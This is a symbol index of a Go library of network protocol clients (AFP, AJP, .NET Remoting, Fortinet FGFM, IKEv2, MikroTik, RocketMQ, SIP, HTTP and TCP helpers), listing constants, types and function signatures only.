| AFPCloseFork = 0x04 constant AFPCopyFile (line 26) | AFPCopyFile = 0x05 constant AFPCreateDir (line 27) | AFPCreateDir = 0x06 constant AFPCreateFile (line 28) | AFPCreateFile = 0x07 constant AFPDelete (line 29) | AFPDelete = 0x08 constant AFPEnumerate (line 30) | AFPEnumerate = 0x09 constant AFPFlush (line 31) | AFPFlush = 0x0a constant AFPFlushFork (line 32) | AFPFlushFork = 0x0b constant AFPGetForkParams (line 33) | AFPGetForkParams = 0x0e constant AFPGetSrvrInfo (line 34) | AFPGetSrvrInfo = 0x0f constant AFPGetSrvrParams (line 35) | AFPGetSrvrParams = 0x10 constant AFPGetVolParams (line 36) | AFPGetVolParams = 0x11 constant AFPLogin (line 37) | AFPLogin = 0x12 constant AFPLoginCont (line 38) | AFPLoginCont = 0x13 constant AFPLogout (line 39) | AFPLogout = 0x14 constant AFPMapID (line 40) | AFPMapID = 0x15 constant AFPMapName (line 41) | AFPMapName = 0x16 constant AFPMoveAndRename (line 42) | AFPMoveAndRename = 0x17 constant AFPOpenVol (line 43) | AFPOpenVol = 0x18 constant AFPOpenDir (line 44) | AFPOpenDir = 0x19 constant AFPOpenFork (line 45) | AFPOpenFork = 0x1a constant AFPRead (line 46) | AFPRead = 0x1b constant AFPRename (line 47) | AFPRename = 0x1c constant AFPSetDirParams (line 48) | AFPSetDirParams = 0x1d constant AFPSetFileParams (line 49) | AFPSetFileParams = 0x1e constant AFPSetForkParams (line 50) | AFPSetForkParams = 0x1f constant AFPSetVolParams (line 51) | AFPSetVolParams = 0x20 constant AFPWrite (line 52) | AFPWrite = 0x21 constant AFPGetFileDirParams (line 53) | AFPGetFileDirParams = 0x22 constant AFPSetFileDirParams (line 54) | AFPSetFileDirParams = 0x23 constant AFPChangePW (line 55) | AFPChangePW = 0x24 constant AFPGetUserInfo (line 56) | AFPGetUserInfo = 0x25 constant AFPGetSrvrMesg (line 57) | AFPGetSrvrMesg = 0x26 constant AFPCreateID (line 58) | AFPCreateID = 0x27 constant AFPDeleteID (line 59) | AFPDeleteID = 0x28 constant AFPResolveID (line 60) | AFPResolveID = 0x29 constant AFPExchangeFiles (line 61) | AFPExchangeFiles = 0x2a constant AFPCatSearch (line 62) | AFPCatSearch = 0x2b constant AFPOpenDT (line 63) | AFPOpenDT = 0x30 constant AFPCloseDT (line 64) | AFPCloseDT = 0x31 constant AFPGetIcon (line 65) | AFPGetIcon = 0x33 constant AFPGetIconInfo (line 66) | AFPGetIconInfo = 0x34 constant AFPAddAppl (line 67) | AFPAddAppl = 0x35 constant AFPRmvAppl (line 68) | AFPRmvAppl = 0x36 constant AFPGetAppl (line 69) | AFPGetAppl = 0x37 constant AFPAddComment (line 70) | AFPAddComment = 0x38 constant AFPRmvComment (line 71) | AFPRmvComment = 0x39 constant AFPGetComment (line 72) | AFPGetComment = 0x3a constant AFPReadExt (line 73) | AFPReadExt = 0x3c constant AFPWriteExt (line 74) | AFPWriteExt = 0x3d constant AFPGetExtAttr (line 75) | AFPGetExtAttr = 0x45 constant AFPSetExtAttr (line 76) | AFPSetExtAttr = 0x46 constant VolBitmapAttributes (line 77) | VolBitmapAttributes = 0x1 constant VolBitmapSignature (line 78) | VolBitmapSignature = 0x2 constant VolBitmapCreationDate (line 79) | VolBitmapCreationDate = 0x4 constant VolBitmapModificationDate (line 80) | VolBitmapModificationDate = 0x8 constant VolBitmapBackupDate (line 81) | VolBitmapBackupDate = 0x10 constant VolBitmapID (line 82) | VolBitmapID = 0x20 constant VolBitmapBytesFree (line 83) | VolBitmapBytesFree = 0x40 constant VolBitmapBytesTotal (line 84) | VolBitmapBytesTotal = 0x80 constant VolBitmapName (line 85) | VolBitmapName = 0x100 constant VolBitmapExtendedBytesFree (line 86) | VolBitmapExtendedBytesFree = 0x200 constant VolBitmapExtendedBytesTotal (line 87) | VolBitmapExtendedBytesTotal = 0x400 constant VolBitmapBlockSize (line 88) | VolBitmapBlockSize = 0x800 constant FileBitmapAttributes (line 89) | FileBitmapAttributes = 0x1 constant FileBitmapParentDirID (line 90) | FileBitmapParentDirID = 0x2 constant FileBitmapCreationDate (line 91) | FileBitmapCreationDate = 0x4 constant FileBitmapModificationDate (line 92) | FileBitmapModificationDate = 0x8 constant FileBitmapBackupDate (line 93) | FileBitmapBackupDate = 0x10 constant FileBitmapFinderInfo (line 94) | FileBitmapFinderInfo = 0x20 constant FileBitmapLongName (line 95) | FileBitmapLongName = 0x40 constant FileBitmapShortName (line 96) | FileBitmapShortName = 0x80 constant FileBitmapNodeID (line 97) | FileBitmapNodeID = 0x100 constant FileBitmapDataForkSize (line 98) | FileBitmapDataForkSize = 0x200 constant FileBitmapResourceForkSize (line 99) | FileBitmapResourceForkSize = 0x400 constant FileBitmapExtendedDataForkSize (line 100) | FileBitmapExtendedDataForkSize = 0x800 constant FileBitmapLaunchLimit (line 101) | FileBitmapLaunchLimit = 0x1000 constant FileBitmapUTF8Name (line 102) | FileBitmapUTF8Name = 0x2000 constant FileBitmapExtendedResourceForkSize (line 103) | FileBitmapExtendedResourceForkSize = 0x4000 constant FileBitmapUnixPrivileges (line 104) | FileBitmapUnixPrivileges = 0x8000 constant FileBitmapALL (line 105) | FileBitmapALL = 0xFFFF constant DirBitmapAttributes (line 106) | DirBitmapAttributes = 0x1 constant DirBitmapParentDirID (line 107) | DirBitmapParentDirID = 0x0 constant DirBitmapCreationDate (line 108) | DirBitmapCreationDate = 0x4 constant DirBitmapModificationDate (line 109) | DirBitmapModificationDate = 0x8 constant DirBitmapBackupDate (line 110) | DirBitmapBackupDate = 0x10 constant DirBitmapFinderInfo (line 111) | DirBitmapFinderInfo = 0x20 constant DirBitmapLongName (line 112) | DirBitmapLongName = 0x40 constant DirBitmapShortName (line 113) | DirBitmapShortName = 0x80 constant DirBitmapNodeID (line 114) | DirBitmapNodeID = 0x100 constant DirBitmapOffspringCount (line 115) | DirBitmapOffspringCount = 0x200 constant DirBitmapOwnerID (line 116) | DirBitmapOwnerID = 0x400 constant DirBitmapGroupID (line 117) | DirBitmapGroupID = 0x800 constant DirBitmapAccessRights (line 118) | DirBitmapAccessRights = 0x1000 constant DirBitmapUTF8Name (line 119) | DirBitmapUTF8Name = 0x2000 constant DirBitmapUnixPrivileges (line 120) | DirBitmapUnixPrivileges = 0x8000 constant DirBitmapALL (line 121) | DirBitmapALL = 0xBFFF constant AccessModeRead (line 122) | AccessModeRead = 0x1 constant AccessModeWrite (line 123) | AccessModeWrite = 0x2 constant AccessModeDenyRead (line 124) | AccessModeDenyRead = 0x10 constant AccessModeDenyWrite (line 125) | AccessModeDenyWrite = 0x20 type Header (line 128) | type Header struct method Encode (line 143) | func (d *Header) Encode() []byte { type FPPacket (line 137) | type FPPacket struct function Decode (line 155) | func Decode(data []byte) (FPPacket, bool) { function Connect (line 174) | func Connect(host string, port int, ssl bool) (net.Conn, bool) { function GetServerStatus (line 194) | func GetServerStatus(host string, port int, ssl bool) (*FPPacket, bool) { function OpenSession (line 230) | func OpenSession(conn net.Conn) bool { function Disconnect (line 254) | func Disconnect(conn net.Conn) bool { function ReadPacket (line 267) | func ReadPacket(conn net.Conn) (*FPPacket, bool) { function CreateFPPacket (line 296) | func CreateFPPacket(command byte, payload []byte) FPPacket { function WritePacket (line 310) | func WritePacket(conn net.Conn, packet FPPacket) bool { function AnonymousLogin (line 320) | func AnonymousLogin(conn net.Conn) bool { function Logout (line 345) | func Logout(conn net.Conn) bool { function OpenVolume (line 366) | func OpenVolume(conn net.Conn, bitmap uint16, volumeName []byte) (uint16... function WalkRootDir (line 404) | func WalkRootDir(conn net.Conn, path string) (uint16, uint32, bool) { function CreateFile (line 421) | func CreateFile(conn net.Conn, volumeID uint16, dirID uint32, fileName s... function OpenFork (line 458) | func OpenFork(conn net.Conn, flag byte, volumeID uint16, dirID uint32, b... function CloseFork (line 507) | func CloseFork(conn net.Conn, forkID uint16) bool { function FlushFork (line 531) | func FlushFork(conn net.Conn, forkID uint16) bool { function SetForkParams (line 554) | func SetForkParams(conn net.Conn, forkID uint16, bitmap uint16, size uin... function GetForkParams (line 583) | func GetForkParams(conn net.Conn, forkID uint16, bitmap uint16) (*FPPack... function ReadExt (line 609) | func ReadExt(conn net.Conn, forkID uint16, offset uint64, count uint64) ... function WriteExt (line 639) | func WriteExt(conn net.Conn, forkID uint16, fdata []byte) bool { function MoveAndRenameFile (line 677) | func MoveAndRenameFile(conn net.Conn, srcVolID uint16, srcDirID uint32, ... function AddAppl (line 731) | func AddAppl(conn net.Conn, volID uint16, dirID uint32, creator [4]byte,... function GetAppl (line 768) | func GetAppl(conn net.Conn, volID uint16, creator [4]byte, aIndex uint16... function SetFilParams (line 801) | func SetFilParams(conn net.Conn, volID uint16, dirID uint32, bitmap uint... function Delete (line 834) | func Delete(conn net.Conn, volumeID uint16, dirID uint32, path string) b... function ReadFile (line 871) | func ReadFile(conn net.Conn, path string, forkFlag byte) ([]byte, bool) { function WriteNewFile (line 913) | func WriteNewFile(conn net.Conn, path string, fdata []byte, withFork boo... function WriteFile (line 955) | func WriteFile(conn net.Conn, path string, fdata []byte, withFork bool) ... function DeleteFile (line 986) | func DeleteFile(conn net.Conn, path string) bool { function RenameFileHelper (line 1003) | func RenameFileHelper(conn net.Conn, srcPath string, dstPath string, dst... FILE: protocol/ajp/ajp.go type method (line 34) | type method constant OPTIONS (line 37) | OPTIONS method = 1 constant GET (line 38) | GET method = 2 constant HEAD (line 39) | HEAD method = 3 constant POST (line 40) | POST method = 4 constant PUT (line 41) | PUT method = 5 constant DELETE (line 42) | DELETE method = 6 type reqType (line 45) | type reqType constant FORWARD (line 48) | FORWARD reqType = 2 constant SHUTDOWN (line 49) | SHUTDOWN reqType = 7 constant PING (line 50) | PING reqType = 8 constant CPING (line 51) | CPING reqType = 10 type respType (line 54) | type respType constant SENDBODYCHUNK (line 57) | SENDBODYCHUNK respType = 3 constant SENDHEADERS (line 58) | SENDHEADERS respType = 4 constant ENDRESPONSE (line 59) | ENDRESPONSE respType = 5 type definedHeaders (line 62) | type definedHeaders constant ACCEPT (line 65) | ACCEPT definedHeaders = 0xa001 constant ACCEPTCHARSET (line 66) | ACCEPTCHARSET definedHeaders = 0xa002 constant ACCEPTENCODING (line 67) | ACCEPTENCODING definedHeaders = 0xa003 constant ACCEPTLANGUAGE (line 68) | ACCEPTLANGUAGE definedHeaders = 0xa004 constant AUTHORIZATION (line 69) | AUTHORIZATION definedHeaders = 0xa005 constant CONNECTION (line 70) | CONNECTION definedHeaders = 0xa006 constant CONTENTTYPE (line 71) | CONTENTTYPE definedHeaders = 0xa007 constant CONTENTLENGTH (line 72) | CONTENTLENGTH definedHeaders = 0xa008 constant COOKIE (line 73) | COOKIE definedHeaders = 0xa009 constant COOKIE2 (line 74) | COOKIE2 definedHeaders = 0xa00a constant HOST (line 75) | HOST definedHeaders = 0xa00b constant PRAGMA (line 76) | PRAGMA definedHeaders = 0xa00c constant REFERER (line 77) | REFERER definedHeaders = 0xa00d constant USERAGENT (line 78) | USERAGENT definedHeaders = 0xa00e type ForwardRequest (line 82) | type ForwardRequest struct function createForwardRequest (line 97) | func createForwardRequest(host string, port int, ssl bool, uri string, h... function setGetForwardRequest (line 120) | func setGetForwardRequest(request *ForwardRequest) { function appendString (line 127) | func appendString(serialized *[]byte, value string) { function appendBool (line 140) | func appendBool(serialized *[]byte, value bool) { function appendInt (line 151) | func appendInt(serialized *[]byte, value int) { function serializeForwardRequest (line 158) | func serializeForwardRequest(request ForwardRequest) []byte { function checkRecvMagic (line 208) | func checkRecvMagic(conn net.Conn) bool { function readResponse (line 218) | func readResponse(conn net.Conn) (string, bool) { function readRequestResponse (line 246) | func readRequestResponse(conn net.Conn) (int, string, bool) { function SendAndRecv (line 288) | func SendAndRecv(host string, port int, ssl bool, uri string, verb strin... FILE: protocol/ajp/ajp_test.go function TestStructCreation (line 10) | func TestStructCreation(t *testing.T) { function TestStructSerialize (line 37) | func TestStructSerialize(t *testing.T) { FILE: protocol/dotnetremoting/dotnetremoting.go type Message (line 37) | type Message struct method WritePreamble (line 105) | func (msg *Message) WritePreamble(uri string, opType OperationType, da... method WriteDefaultPreamble (line 126) | func (msg *Message) WriteDefaultPreamble(uri string, opType OperationT... method GetMessage (line 133) | func (msg *Message) GetMessage(data string) string { method AddCustomHeader (line 138) | func (msg *Message) AddCustomHeader(headerName string, headerValue str... method AddURIHeader (line 145) | func (msg *Message) AddURIHeader(uri string, headerToken HeaderToken) { method AddContentTypeHeader (line 152) | func (msg *Message) AddContentTypeHeader(contentType string) { method AddStatusPhraseHeader (line 158) | func (msg *Message) AddStatusPhraseHeader(statusPhrase string) { // un... method AddCloseConnectionHeader (line 163) | func (msg *Message) AddCloseConnectionHeader() { // untested method AddStatusCodeHeader (line 168) | func (msg *Message) AddStatusCodeHeader(isError bool) { // untested type MessageResponse (line 43) | type MessageResponse struct method Dump (line 179) | func (msg *MessageResponse) Dump() { type OperationType (line 53) | type OperationType constant OperationTypeRequest (line 56) | OperationTypeRequest OperationType = "\x00\x00" constant OperationTypeOneWayRequest (line 57) | OperationTypeOneWayRequest OperationType = "\x01\x00" constant OperationTypeReply (line 58) | OperationTypeReply OperationType = "\x02\x00" type HeaderToken (line 61) | type HeaderToken constant HeaderTokenEndHeaders (line 64) | HeaderTokenEndHeaders HeaderToken = "\x00\x00" constant HeaderTokenCustom (line 65) | HeaderTokenCustom HeaderToken = "\x01\x00" constant HeaderTokenStatusCode (line 66) | HeaderTokenStatusCode HeaderToken = "\x02\x00" constant HeaderTokenStatusPhrase (line 67) | HeaderTokenStatusPhrase HeaderToken = "\x03\x00" constant HeaderTokenRequestURI (line 68) | HeaderTokenRequestURI HeaderToken = "\x04\x00" constant HeaderTokenCloseConnection (line 69) | HeaderTokenCloseConnection HeaderToken = "\x05\x00" constant HeaderTokenContentType (line 70) | HeaderTokenContentType HeaderToken = "\x06\x00" type HeaderDataFormat (line 73) | type HeaderDataFormat constant HeaderDataFormatVoid (line 76) | HeaderDataFormatVoid HeaderDataFormat = "\x00" constant HeaderDataFormatCountedString (line 77) | HeaderDataFormatCountedString HeaderDataFormat = "\x01" constant HeaderDataFormatByte (line 78) | HeaderDataFormatByte HeaderDataFormat = "\x02" constant HeaderDataFormatUint16 (line 79) | HeaderDataFormatUint16 HeaderDataFormat = "\x03" constant HeaderDataFormatInt32 (line 80) | HeaderDataFormatInt32 HeaderDataFormat = "\x04" type ContentDistribution (line 83) | type ContentDistribution constant ContentDistributionNotChunked (line 86) | ContentDistributionNotChunked ContentDistribution = "\x00\x00" constant ContentDistributionChunked (line 87) | ContentDistributionChunked ContentDistribution = "\x01\x00" type StringEncoding (line 90) | type StringEncoding constant StringEncodingUnicode (line 93) | StringEncodingUnicode StringEncoding = "\x00" constant StringEncodingUtf8 (line 94) | StringEncodingUtf8 StringEncoding = "\x01" type TCPStatusCode (line 97) | type TCPStatusCode constant TCPStatusCodeSuccess (line 100) | TCPStatusCodeSuccess TCPStatusCode = "\x00" constant TCPStatusCodeError (line 101) | TCPStatusCodeError TCPStatusCode = "\x01" function ParseResponseFromConn (line 196) | func ParseResponseFromConn(conn net.Conn) (MessageResponse, bool) { function readHeadersFromConn (line 281) | func readHeadersFromConn(conn net.Conn) (map[string]string, bool) { function readHeaderStringFromConn (line 383) | func readHeaderStringFromConn(conn net.Conn) (string, bool) { function readNBytes (line 411) | func readNBytes(conn net.Conn, n int) (string, bool) { function addCountedString (line 435) | func addCountedString(msg *string, encodingType StringEncoding, stringVa... FILE: protocol/fortinet/fgfm.go function SendFGFMMessage (line 19) | func SendFGFMMessage(conn net.Conn, payload string) bool { function ReadFGFMMessage (line 35) | func ReadFGFMMessage(conn net.Conn) ([]byte, bool) { function Connect (line 66) | func Connect(host string, port int, ssl bool, cert []byte, key []byte) (... FILE: protocol/httphelper.go function GenerateURL (line 34) | func GenerateURL(rhost string, rport int, ssl bool, uri string) string { function BuildURI (line 57) | func BuildURI(paths ...string) string { function BasicAuth (line 75) | func BasicAuth(username, password string) string { function parseCookies (line 79) | func parseCookies(headers []string) string { function ParseCookies (line 90) | func ParseCookies(resp *http.Response) string { function DoRawHTTPRequest (line 95) | func DoRawHTTPRequest(rhost string, rport int, uri string, verb string) ... function cacheResponse (line 127) | func cacheResponse(req *http.Request, resp *http.Response) { function cacheLookup (line 148) | func cacheLookup(uri string) (*http.Response, string, bool) { function DoRequest (line 195) | func DoRequest(client *http.Client, req *http.Request) (*http.Response, ... function CookieString (line 216) | func CookieString(cookies []*http.Cookie) string { function CreateRequestParams (line 230) | func CreateRequestParams(params map[string]string) string { function CreateRequestParamsEncoded (line 243) | func CreateRequestParamsEncoded(params map[string]string) string { function SetRequestHeaders (line 254) | func SetRequestHeaders(req *http.Request, headers map[string]string) { function CreateRequest (line 267) | func CreateRequest(verb string, url string, payload string, followRedire... function HTTPSendAndRecv (line 318) | func HTTPSendAndRecv(verb string, url string, payload string) (*http.Res... function HTTPGetCache (line 328) | func HTTPGetCache(url string) (*http.Response, string, bool) { function HTTPSendAndRecvNoRedirect (line 363) | func HTTPSendAndRecvNoRedirect(verb string, url string, payload string) ... function HTTPSendAndRecvURLEncoded (line 381) | func HTTPSendAndRecvURLEncoded(verb string, url string, params map[strin... function HTTPSendAndRecvURLEncodedParams (line 397) | func HTTPSendAndRecvURLEncodedParams(verb string, url string, params map... function HTTPSendAndRecvURLEncodedAndHeaders (line 413) | func HTTPSendAndRecvURLEncodedAndHeaders(verb string, url string, params... function HTTPSendAndRecvURLEncodedParamsAndHeaders (line 433) | func HTTPSendAndRecvURLEncodedParamsAndHeaders(verb string, url string, ... function HTTPSendAndRecvWithHeaders (line 450) | func HTTPSendAndRecvWithHeaders(verb string, url string, payload string,... function HTTPSendAndRecvWithHeadersNoRedirect (line 462) | func HTTPSendAndRecvWithHeadersNoRedirect(verb string, url string, paylo... function MultipartCreateForm (line 516) | func MultipartCreateForm() (*strings.Builder, *multipart.Writer) { function MultipartAddField (line 536) | func MultipartAddField(writer *multipart.Writer, name string, value stri... function MultipartCreateFormFields (line 585) | func MultipartCreateFormFields(writer *multipart.Writer, fieldMap map[st... function MultipartAddPart (line 614) | func MultipartAddPart(writer *multipart.Writer, headers map[string]strin... function MultipartAddFile (line 630) | func MultipartAddFile(writer *multipart.Writer, name, filename, ctype, v... function GetSetCookieValue (line 640) | func GetSetCookieValue(resp *http.Response, name string) (string, bool) { FILE: protocol/httphelper_test.go function TestBasicAuth (line 8) | func TestBasicAuth(t *testing.T) { function TestParseCookies (line 18) | func TestParseCookies(t *testing.T) { function TestBuildURI (line 32) | func TestBuildURI(t *testing.T) { function TestGenerateURL (line 50) | func TestGenerateURL(t *testing.T) { function TestCookieString (line 65) | func TestCookieString(t *testing.T) { FILE: protocol/ikev2/ikev2.go function Uint64ToString (line 74) | func Uint64ToString(num uint64) []byte { function generateNonce (line 81) | func generateNonce(length int) ([]byte, bool) { method GenerateDHKey (line 94) | func (ikeCrypto *IkeCrypto) GenerateDHKey(diffieHellmanGroup int) bool { method Init (line 112) | func (ikeCrypto *IkeCrypto) Init() bool { method Connect (line 126) | func (ikeClient *IkeClient) Connect(conf *config.Config) bool { FILE: protocol/ikev2/ikev2_test.go function TestVendorIDPack (line 9) | func TestVendorIDPack(t *testing.T) { function TestSecurityAssociationPack (line 42) | func TestSecurityAssociationPack(t *testing.T) { function TestNotifyPack (line 57) | func TestNotifyPack(t *testing.T) { FILE: protocol/ikev2/packs.go function IkePackNonce (line 10) | func IkePackNonce(nextPayload int, nonce []byte) []byte { function IkePackVendorID (line 18) | func IkePackVendorID(nextPayload int, vendorID []byte) []byte { function IkePackNotify (line 26) | func IkePackNotify(nextPayload int, notifyType int, data []byte, protoco... function IkePackKeyExchange (line 39) | func IkePackKeyExchange(nextPayload int, dhGroup int, data []byte) []byte { function IkePackSecurityAssociation (line 50) | func IkePackSecurityAssociation(payloadType int, proposal []byte) []byte { method Pack (line 57) | func (ikeTransform *IkeTransform) Pack() []byte { function IkePackPayloadHeader (line 72) | func IkePackPayloadHeader(payloadType int, payloadIn []byte) []byte { function IkePackProposal (line 85) | func IkePackProposal(nextPayload int, number int, id int, transforms []I... function IkePackHeader (line 102) | func IkePackHeader(ikeClient *IkeClient, payloadType int, version int, e... FILE: protocol/ikev2/types.go type IkeClient (line 187) | type IkeClient struct type IkeCrypto (line 192) | type IkeCrypto struct type IkeProposal (line 213) | type IkeProposal struct type IkeTransform (line 220) | type IkeTransform struct FILE: protocol/mikrotik/mikrotik_test.go function Test_CVE_2018_14847_ServerResponse1 (line 8) | func Test_CVE_2018_14847_ServerResponse1(t *testing.T) { function Test_CVE_2018_14847_ServerResponse2 (line 61) | func Test_CVE_2018_14847_ServerResponse2(t *testing.T) { function Test_ParseUsersFile (line 106) | func Test_ParseUsersFile(t *testing.T) { function Test_MessageCreation (line 115) | func Test_MessageCreation(t *testing.T) { function Test_FailingDatFileEntry (line 132) | func Test_FailingDatFileEntry(t *testing.T) { FILE: protocol/mikrotik/msg.go type M2Message (line 11) | type M2Message struct method SetTo (line 53) | func (msg M2Message) SetTo(to uint32, handler uint32) { method SetCommand (line 60) | func (msg M2Message) SetCommand(command uint32) { method SetRequestID (line 64) | func (msg M2Message) SetRequestID(id uint32) { method SetReplyExpected (line 68) | func (msg M2Message) SetReplyExpected(expected bool) { method SetSessionID (line 72) | func (msg M2Message) SetSessionID(id uint32) { method GetSessionID (line 76) | func (msg M2Message) GetSessionID() uint32 { method AddBool (line 80) | func (msg M2Message) AddBool(varname uint32, data bool) { method AddU32 (line 84) | func (msg M2Message) AddU32(varname uint32, data uint32) { method AddString (line 88) | func (msg M2Message) AddString(varname uint32, data []byte) { method AddRaw (line 93) | func (msg M2Message) AddRaw(varname uint32, data []byte) { method AddU32Array (line 98) | func (msg M2Message) AddU32Array(varname uint32, data []uint32) { method Serialize (line 102) | func (msg M2Message) Serialize() []byte { function NewM2Message (line 20) | func NewM2Message() *M2Message { constant typeBoolean (line 33) | typeBoolean uint32 = 0 constant typeShortLength (line 34) | typeShortLength uint32 = 0x01000000 constant typeUint32 (line 35) | typeUint32 uint32 = 0x08000000 constant typeString (line 36) | typeString uint32 = 0x20000000 constant typeRaw (line 37) | typeRaw uint32 = 0x30000000 constant typeUint32Array (line 38) | typeUint32Array uint32 = 0x88000000 constant typeMessageArray (line 39) | typeMessageArray uint32 = 0xa8000000 constant VarSysTo (line 43) | VarSysTo uint32 = 0x00ff0001 constant VarFrom (line 44) | VarFrom uint32 = 0x00ff0002 constant VarReplyExpected (line 45) | VarReplyExpected uint32 = 0x00ff0005 constant VarRequestID (line 46) | VarRequestID uint32 = 0x00ff0006 constant VarCommand (line 47) | VarCommand uint32 = 0x00ff0007 constant VarErrorCode (line 48) | VarErrorCode uint32 = 0x00ff0008 constant VarErrorString (line 49) | VarErrorString uint32 = 0x00ff0009 constant VarSessionID (line 50) | VarSessionID uint32 = 0x00fe0001 function handleStringorRaw (line 192) | func handleStringorRaw(varTypeName uint32, varName uint32, data *[]byte,... function ParseM2Message (line 215) | func ParseM2Message(data []byte, msg *M2Message) bool { FILE: protocol/mikrotik/webfig.go type WebfigSession (line 27) | type WebfigSession struct function reverseSlice (line 35) | func reverseSlice(slice []byte) []byte { function webEncode (line 48) | func webEncode(data []byte) string { function webDecode (line 57) | func webDecode(data string) string { function generateKeyPair (line 67) | func generateKeyPair() ([]byte, []byte) { function generateSharedKey (line 87) | func generateSharedKey(privateKey []byte, publicKey []byte) []byte { function sendPublicKey (line 95) | func sendPublicKey(webfigURL string, publicKey []byte) (string, bool) { function initRC4 (line 119) | func initRC4(session *WebfigSession, sharedKey []byte) { function NegotiateEncryption (line 151) | func NegotiateEncryption(webfigURL string, session *WebfigSession) bool { function SendEncrypted (line 178) | func SendEncrypted(webfigURL string, msg *M2Message, session *WebfigSess... function Login (line 237) | func Login(webfigURL string, username string, password string, session *... function FileUpload (line 262) | func FileUpload(webfigURL string, filename string, contents string, sess... FILE: protocol/mikrotik/winbox.go function SendM2 (line 13) | func SendM2(conn net.Conn, msg *M2Message) bool { function ReceiveM2 (line 37) | func ReceiveM2(conn net.Conn, msg *M2Message) bool { FILE: protocol/rocketmq/remoting.go function CreateMqRemotingMessage (line 26) | func CreateMqRemotingMessage(payload string, code int, version int) []by... function ReadMqRemotingResponse (line 70) | func ReadMqRemotingResponse(conn net.Conn) ([]byte, []byte, bool) { FILE: protocol/rocketmq/remoting_test.go function Test_MaxSize (line 9) | func Test_MaxSize(t *testing.T) { FILE: protocol/sip/examples/call/main.go constant host (line 14) | host = "127.0.0.1" constant fromUser (line 15) | fromUser = "john.doe" constant pass (line 16) | pass = "password" constant toUser (line 17) | toUser = "dembele" function main (line 20) | func main() { FILE: protocol/sip/examples/ping/main.go constant host (line 15) | host = "127.0.0.1" constant fromUser (line 17) | fromUser = "bob" constant toUser (line 18) | toUser = "alice" function main (line 21) | func main() { FILE: protocol/sip/examples/tcp/main.go constant host (line 12) | host = "127.0.0.1" constant useTLS (line 13) | useTLS = true function main (line 16) | func main() { FILE: protocol/sip/helper.go constant UDPMessageLength (line 35) | UDPMessageLength = 1300 constant errMsgRequiredParam (line 36) | errMsgRequiredParam = "Required parameter: %s" constant DefaultMaxForwards (line 37) | DefaultMaxForwards = 70 constant DefaultCSeq (line 38) | DefaultCSeq = 1 constant DefaultInviteContentType (line 39) | DefaultInviteContentType = "application/sdp" constant DefaultMessageContentType (line 40) | DefaultMessageContentType = "text/plain" constant DefaultMessageBodyContent (line 41) | DefaultMessageBodyContent = "Hello, this is a test message." constant DefaultInfoContentType (line 42) | DefaultInfoContentType = "application/dtmf-relay" constant DefaultInfoBodyContent (line 43) | DefaultInfoBodyContent = "Signal=1Signal=1\nDuration=100" constant DefaultExpiresHeader (line 44) | DefaultExpiresHeader = 3600 constant DefaultRackCSeq (line 45) | DefaultRackCSeq = 1 constant DefaultRackInviteCSeq (line 46) | DefaultRackInviteCSeq = 314159 constant defaultTransport (line 47) | defaultTransport = "UDP" constant ContentTypePidf (line 48) | ContentTypePidf = "application/pidf+xml" constant sipLineEnd (line 52) | sipLineEnd = "\r\n" constant sipLineEndAlt (line 53) | sipLineEndAlt = "\n" type TransportType (line 62) | type TransportType method String (line 73) | func (t TransportType) String() string { constant UNKNOWN (line 65) | UNKNOWN TransportType = iota constant UDP (line 66) | UDP constant TCP (line 67) | TCP constant TLS (line 68) | TLS constant WS (line 69) | WS constant WSS (line 70) | WSS function SendAndReceiveTCP (line 87) | func SendAndReceiveTCP(conn net.Conn, req sip.Message) (*sip.Response, b... function ReadMessageTCP (line 124) | func ReadMessageTCP(conn net.Conn) (sip.Message, bool) { function SendAndReceiveUDP (line 177) | func SendAndReceiveUDP( function ReadMessageUDP (line 218) | func ReadMessageUDP(conn *net.UDPConn) (sip.Message, bool) { function NewSipRequest (line 241) | func NewSipRequest( type NewSipRequestOpts (line 336) | type NewSipRequestOpts struct function NewViaHeader (line 354) | func NewViaHeader(opts *NewViaOpts) (*sip.ViaHeader, bool) { type NewViaOpts (line 390) | type NewViaOpts struct function IsContactRequired (line 404) | func IsContactRequired(method sip.RequestMethod) bool { function AddMethodHeaders (line 421) | func AddMethodHeaders(req *sip.Request, method sip.RequestMethod) bool { function NewRequestBody (line 469) | func NewRequestBody(method sip.RequestMethod) (string, string) { function NewDefaultInviteBody (line 495) | func NewDefaultInviteBody(host, sessid, sessver string) string { function NewDefaultPublishBody (line 521) | func NewDefaultPublishBody(id, status, entity string) string { function NewDefaultNotifyBody (line 550) | func NewDefaultNotifyBody(id, status, contact, ts string) string { function ParseTransport (line 577) | func ParseTransport(transport string) TransportType { function ParseMethod (line 591) | func ParseMethod(method string) sip.RequestMethod { FILE: protocol/sip/helper_test.go constant host (line 11) | host = "localhost" constant expectedMethod (line 12) | expectedMethod = sip.OPTIONS constant expectedMaxForwardsHeader (line 13) | expectedMaxForwardsHeader = "Max-Forwards: 70" constant expectedUserAgent (line 14) | expectedUserAgent = "Jitsi2.10.5550Mac OS X" constant expectedAccept (line 15) | expectedAccept = "application/sdp" constant expectedProtocolName (line 16) | expectedProtocolName = "SIP" constant expectedProtocolVersion (line 17) | expectedProtocolVersion = "2.0" constant expectedTransport (line 18) | expectedTransport = defaultTransport constant expectedCSeqHeader (line 19) | expectedCSeqHeader = "CSeq: 1 OPTIONS" constant expectedPresenceHeaderValue (line 20) | expectedPresenceHeaderValue = "presence" function TestNewSipRequest (line 23) | func TestNewSipRequest(t *testing.T) { function TestNewViaHeader (line 316) | func TestNewViaHeader(t *testing.T) { function TestIsContactRequired (line 396) | func TestIsContactRequired(t *testing.T) { function TestAddMethodHeaders (line 426) | func TestAddMethodHeaders(t *testing.T) { function TestNewRequestBody (line 645) | func TestNewRequestBody(t *testing.T) { function TestNewDefaultInviteBody (line 703) | func TestNewDefaultInviteBody(t *testing.T) { function TestNewDefaultPublishBody (line 740) | func TestNewDefaultPublishBody(t *testing.T) { function TestNewDefaultNotifyBody (line 780) | func TestNewDefaultNotifyBody(t *testing.T) { function TestParseTransport (line 813) | func TestParseTransport(t *testing.T) { function TestParseMethod (line 835) | func TestParseMethod(t *testing.T) { FILE: protocol/tcpsocket.go function MixedConnect (line 18) | func MixedConnect(host string, port int, ssl bool) (net.Conn, bool) { function TLSConnect (line 27) | func TLSConnect(host string, port int) (net.Conn, bool) { function TCPConnect (line 37) | func TCPConnect(host string, port int) (net.Conn, bool) { function TCPWrite (line 76) | func TCPWrite(conn net.Conn, data []byte) bool { function TCPReadAmount (line 93) | func TCPReadAmount(conn net.Conn, amount int) ([]byte, bool) { function TCPReadAmountBlind (line 117) | func TCPReadAmountBlind(conn net.Conn, amount int) ([]byte, bool) { FILE: protocol/udpsocket.go function 